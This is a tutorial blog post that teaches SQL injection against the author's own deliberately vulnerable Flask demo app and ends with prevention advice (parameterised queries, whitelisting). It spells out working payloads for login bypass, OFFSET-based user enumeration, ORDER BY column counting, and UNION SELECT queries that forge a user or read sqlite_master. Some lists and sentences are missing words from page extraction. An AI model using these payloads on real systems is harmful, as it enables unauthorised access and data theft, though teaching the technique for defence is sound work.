SQL stands for Structrued Query Language.
Some properties of SQL are:
There are many different flavors of SQL, such as:
Lots and lots of large products use SQL:
As a demonstration, we can use Python’s SQLite3 library as a quick demonstration:
>>> import sqlite3 >>> conn = sqlite3.connect("mydb.db") >>> c = conn.cursor() >>> c.execute("CREATE TABLE table1(a text, b integer)") <sqlite3.Cursor object at 0x10aad31f0> >>> c.execute("INSERT INTO table1 VALUES ('yo', 1)") <sqlite3.Cursor object at 0x10aad31f0> >>> c.execute("SELECT * FROM table1").fetchall() [(u'yo', 1)]
The above creates a database called
mydb.db. Then it creates a
that will “type” out commands to be executed in a
SQLite3. This is just the
way Python implemented the SQLite library. The string we input into
is an SQLite command.
CREATE TABLE table1(a text, b integer)
This creates a table in the database called
table1 with the fields
b, a text field.
The next command:
INSERT INTO table1 VALUES ('yo', 1) will insert the row
The next command is what we care about in SQL injection:
SELECT * FROM table1
This is called a query. This particular query returns the entire table.
In an implementation of SQL that uses text replacement, it is very dangerous to use literal replacement. In a literal replacement, it is possible for the query itself to be modified to do something unintended. Consider the following code in Python:
c.execute(“SELECT * FROM users WHERE uname = '%s'” % (uname)).fetchall()
Well what is this query supposed to do? This is a simple query that selects all the users in the database who have the username that matches what the user input. … But… What if an evil person doesn’t know a username, and wants this query to return true? Or maybe he just wants all the usernames?
SELECT * FROM users WHERE uname='$uname'; $uname = “' -- ”; SELECT * FROM users WHERE uname='' -- '; SELECT * FROM users WHERE uname='';
As you can see, the query becomes “Select all users with a blank username.”
What if we try something similar:
SELECT * FROM users WHERE uname='$uname'; $uname = “' OR 1 = 1 -- ”; SELECT * FROM users WHERE uname='' OR 1 = 1 -- '; SELECT * FROM users WHERE uname='' OR 1 = 1; SELECT * FROM users WHERE false OR true; SELECT * FROM users WHERE true; SELECT * FROM users;
As you can see, the simple query to match up an input username is turned into a query to return all the rows in the database!
Many login systems will restrict the number of returned rows to exactly 1 in order to successfully log in, or display info. Clearly, it is bad practice as a developer to just use:
if query.rows == 0: return False # Bad login renderData() # Otherwise successful login!
(The above is just pseudo-code, that’s not actually how you check the number of returned rows.) Instead what most programs will mimic is something like this:
if query.rows != 1: return False # Bad login renderData() # Otherwise successful login!
So how do we bypass this? Our first injection won’t work unless there’s exactly one row in the database, and for most databases, that’s simply not the case.
The solution: We can take advantage of the
LIMIT keyword in SQL. In SQL,
LIMIT keyword is a lot like the
head command in Bash: it simply returns
n rows of a query. For example:
SELECT * FROM fruits WHERE type="apple" AND color="green" LIMIT 5;
This query selects the first 5 rows in
fruits where the type of fruit is
“apple” and the color is “green”.
We can use this in our injection:
SELECT * FROM users WHERE uname='$uname'; $uname = “' OR 1 = 1 LIMIT 1 -- ”; SELECT * FROM users WHERE uname='' OR 1 = 1 LIMIT 1 -- '; SELECT * FROM users WHERE uname='' OR 1 = 1 LIMIT 1; SELECT * FROM users WHERE false OR true LIMIT 1; SELECT * FROM users WHERE true LIMIT 1; SELECT * FROM users LIMIT 1;
This will select the first row of the database. (Tip: Usually the first row of the database is an admin user or some dummy user that a developer used during testing and didn’t want to / forgot to remove.)
I’ve created a tiny sample Python Flask application that you can use to test SQL injections, using SQLite3 syntax. The source is located here.
The vulnerable part is in
vulndb.py. The vulnerablility in this application is
the use of the format string. As you can see in the line
QUERY = "SELECT * FROM users WHERE uname = '%s'" % (uname)
We use the
%s to input a string. However, because of the way this is passed
into SQLite, what it will do is take our
uname variable, duplicate it into the
query, and run that query character for character in an SQLite console.
You can run the Python application by doing:
$ python app.py 2> /dev/null # Silences the Flask output messages
Note that this application will only log you in if there is only 1 row returned.
In our injections, we use the
-- at the end to comment out the rest of the
query. Note the spaces before and after the double dashes. These spaces prevent
some flavors of SQL from crashing, as some implementations of SQL will filter
special characters by checking for space separated strings.
bob' -- will log us in as
bob if we knew that
bob was a
user in the database, and if there was exactly 1
bob in the database. However,
in the terminal, if we do:
$ sqlite3 > .open users.db > INSERT INTO users VALUES("bob", "tango");
This will add a new user called
bob into the database, so
bob' -- will no
longer work. To undo this, go back into the SQLite3 console and run:
> DELETE FROM users WHERE uname="bob" AND pword="tango";
' OR 1=1 LIMIT 1 -- will log in as the first user.
' OR 1=1 LIMIT 1 OFFSET n -- will log in as the nth user.
If we wanted to get all the usernames in the table, we could write a simple script to request the webpage, inject our SQL query, and increment offset values.
We can also insert a user that doesn’t actually exist in the database. We
can use the
UNION keyword in SQL! From the SQL documentation, we see that SQL
can only perform the union operation if the number of columns of the 2 “sets” is
To find the number of columns, we can use the
ORDER BY attack. What this
attack uses is the fact that SQL will crash if
ORDER BY cannot be performed.
Let me back up a bit:
ORDER BY n will sort the rows selected based on the nth
column. Thus, if the column does not exist (such as doing
ORDER BY 9001 in a 5
column table), then SQL will crash.
Using this logic, we can find the number of columns by just incrementing
until it crashes. If it crashes at some arbitrary number
x, then the number of
columns is x-1.
In the example application, we see that there are only 2 columns:
ORDER BY 3 --
will crash. To inject a ghost user, do:
' UNION SELECT "this is a fake name", "this is a fake password" --
In order to steal information, we need to know the names of the columns. We know
that SQL obeys a certain schema. Lo and behold, the schema is stored within SQL!
In SQLite3, this schema is a table called
sqlite_master, and in MySQL, it’s
information_schema, or rather
information_schema.tables for the
If the website displays the username by pulling it from the database, you can use:
' UNION SELECT name, sql FROM sqlite_master LIMIT 1 --
This injection will get you started on your journeys.
To automate tedious injections, you can write custom scripts like the
scripts in the demo app repository. Or you can use the tool:
There are a few ways to prevent injection. The main way to do this is to stop the injection at it’s root cause: the literal text replacement.
The main way of doing this is to sanitize your inputs. This is what the famous
“Bobby Tables” XKCD comic demonstrates. In Python, using
? instead of
when using SQLite3 will delimit and sanitize the input.
Another way to prevent SQL injection is to whitelist the input. It is common practice to use blacklists, but there are always cases that can loophole around any blacklist. It is much easier to simply whitelist for things like “only alphanumeric characters may be used” or limiting the special characters that can be used.